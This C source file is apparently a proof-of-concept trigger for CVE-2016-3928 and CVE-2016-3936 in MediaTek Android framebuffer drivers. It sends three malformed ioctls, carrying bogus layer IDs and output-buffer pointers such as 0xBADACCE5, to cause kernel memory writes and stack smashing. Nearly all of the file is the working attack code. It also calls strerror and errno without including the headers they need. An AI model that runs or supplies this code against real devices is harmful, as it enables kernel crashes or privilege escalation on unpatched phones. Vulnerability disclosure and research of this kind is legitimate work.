CVE-2016-3928-and-CVE-2016-3936-mtk.c

/* CVE-2016-3928-and-CVE-2016-3936-mtk.c
 *
 * October BUlletin
 *
 * https://code.google.com/p/android/issues/detail?id=215336
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>


#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
#define MTK_IO(num)             _IO('O', num)


#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
typedef enum {
	MTK_FB_FORMAT_UNKNOWN = 0,

	MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
	MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
	MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
	MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
	MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
	MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
	MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
	MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
	MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
	MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
	MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
	MTK_FB_FORMAT_BPP_MASK = 0xFF,
} MTK_FB_FORMAT;

typedef enum {
        MTK_FB_ORIENTATION_0 = 0,
        MTK_FB_ORIENTATION_90 = 1,
        MTK_FB_ORIENTATION_180 = 2,
        MTK_FB_ORIENTATION_270 = 3,
} MTK_FB_ORIENTATION;

typedef enum {
        LAYER_2D = 0,
        LAYER_3D_SBS_0 = 0x1,
        LAYER_3D_SBS_90 = 0x2,
        LAYER_3D_SBS_180 = 0x3,
        LAYER_3D_SBS_270 = 0x4,
        LAYER_3D_TAB_0 = 0x10,
        LAYER_3D_TAB_90 = 0x20,
        LAYER_3D_TAB_180 = 0x30,
        LAYER_3D_TAB_270 = 0x40,
} MTK_FB_LAYER_TYPE;


struct fb_overlay_layer {
        unsigned int layer_id;
        unsigned int layer_enable;

        void *src_base_addr;
        void *src_phy_addr;
        unsigned int src_direct_link;
        MTK_FB_FORMAT src_fmt;
        unsigned int src_use_color_key;
        unsigned int src_color_key;
        unsigned int src_pitch;
        unsigned int src_offset_x, src_offset_y;
        unsigned int src_width, src_height;

        unsigned int tgt_offset_x, tgt_offset_y;
        unsigned int tgt_width, tgt_height;
        MTK_FB_ORIENTATION layer_rotation;
        MTK_FB_LAYER_TYPE layer_type;
        MTK_FB_ORIENTATION video_rotation;

        unsigned int isTdshp;   /* set to 1, will go through tdshp first, then layer blending, then to color */

        int next_buff_idx;
        int identity;
        int connected_type;
        unsigned int security;
        unsigned int alpha_enable;
        unsigned int alpha;
        int fence_fd;           /* 8135 */
        int ion_fd;             /* 8135 CL 2340210 */
};

#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)


/** START FOR FB FORMAT ID */

struct fb_slt_catpure {
        MTK_FB_FORMAT format;
        volatile char *outputBuffer;
        unsigned int wdma_width;
        unsigned int wdma_height;
};

#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)



/** START DEFINES FOR IF_INFORMATION_KERNEL_WRITE **/
typedef enum {
	DISPIF_TYPE_DBI = 0,
	DISPIF_TYPE_DPI,
	DISPIF_TYPE_DSI,
	DISPIF_TYPE_DPI0,
	DISPIF_TYPE_DPI1,
	DISPIF_TYPE_DSI0,
	DISPIF_TYPE_DSI1,
	HDMI = 7,
	HDMI_SMARTBOOK,
                MHL
} MTKFB_DISPIF_TYPE;

typedef enum {
	DISPIF_MODE_VIDEO = 0,
	DISPIF_MODE_COMMAND
} MTKFB_DISPIF_MODE;

typedef struct mtk_dispif_info {
	unsigned int display_id;
	unsigned int isHwVsyncAvailable;
	MTKFB_DISPIF_TYPE displayType;
	unsigned int displayWidth;
	unsigned int displayHeight;
	unsigned int displayFormat;
	MTKFB_DISPIF_MODE displayMode;
	unsigned int vsyncFPS;
	unsigned int physicalWidth;
	unsigned int physicalHeight;
	unsigned int isConnected;
	unsigned int lcmOriginalWidth;  /* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
	unsigned int lcmOriginalHeight; /* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
} mtk_dispif_info_t;


#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)

/* END DEFINES FOR IF_INFORMATION */

static void do_display_if_information_kernel_write(int fd)
{
	mtk_dispif_info_t mediatek_is_best_tek = { 0 };
	mediatek_is_best_tek.display_id = 0xBADACCE5;
	ioctl(fd, MTKFB_GET_DISPLAY_IF_INFORMATION, &mediatek_is_best_tek);
	printf("Didn't work!, adjust break_stuff number, but keep it negative\n");
}

static void do_slt_auto_capture_kernel_write(int fd)
{

	struct fb_slt_catpure cap = { 0 };
	cap.outputBuffer =(void*) 0xBADACCE5;
	cap.format = MTK_FB_FORMAT_BPP_MASK;
	cap.wdma_width = 4096;
	cap.wdma_height = 4096;

	ioctl(fd, MTKFB_SLT_AUTO_CAPTURE, &cap);
	printf("Didn't Work!, sorry!\n");
}


static void do_set_overlay_layer_kernel_write(int fd)
{
	struct fb_overlay_layer lay = { 0 };
	lay.layer_id = 0xBADACCE5;
	lay.src_fmt = MTK_FB_FORMAT_BPP_MASK;

	/* Lets smash some stack buffers */
	lay.layer_enable = 1;

	ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &lay);
	printf("Didnt work!, adjust layer_id\n");
}

/* DEPRICATED
static void do_capture_frame_buffer_kernel_write(int fd)
{
	

}
*/
int main(int argc, char **argv)
{
	int fd, i;

	if (argc < 2) {
		printf("Please supply the mtk frame buffer dev node\n");
		return EXIT_FAILURE;
	}

	fd = open(argv[1], O_RDWR);

	if (fd < 0) {
		printf("Couldn't open %s with error %s\n", argv[1], strerror(errno));
		exit(EXIT_FAILURE);
	}

	do_display_if_information_kernel_write(fd);
	/** DEPRICATED do_capture_frame_buffer_kernel_write(fd);*/
	do_slt_auto_capture_kernel_write(fd);
	do_set_overlay_layer_kernel_write(fd);
}